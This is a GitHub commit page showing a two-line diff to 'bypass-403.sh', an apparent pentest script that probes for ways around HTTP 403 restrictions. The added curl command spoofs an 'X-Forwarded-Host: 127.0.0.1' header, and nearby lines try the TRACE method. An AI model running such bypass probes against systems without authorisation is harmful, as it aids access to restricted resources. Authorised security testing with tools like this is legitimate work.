Skip to content

Commit 0c5ffa0

Browse files
authored
added X-Forwarded-Host header
1 parent e070ab5 commit 0c5ffa0

File tree

1 file changed

+2
-0
lines changed

1 file changed

+2
-0
lines changed

bypass-403.sh

+2
Original file line numberDiff line numberDiff line change
@@ -54,6 +54,8 @@ echo " --> ${1}/${2};/"
5454
#updated
5555
curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -X TRACE $1/$2
5656
echo " --> ${1}/${2} -X TRACE"
57+
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Forwarded-Host: 127.0.0.1" $1/$2
58+
echo " --> ${1}/${2} -H X-Forwarded-Host: 127.0.0.1"
5759
echo "Way back machine:"
5860
curl -s https://archive.org/wayback/available?url=$1/$2 | jq -r '.archived_snapshots.closest | {available, url}'
5961

0 commit comments

Comments
 (0)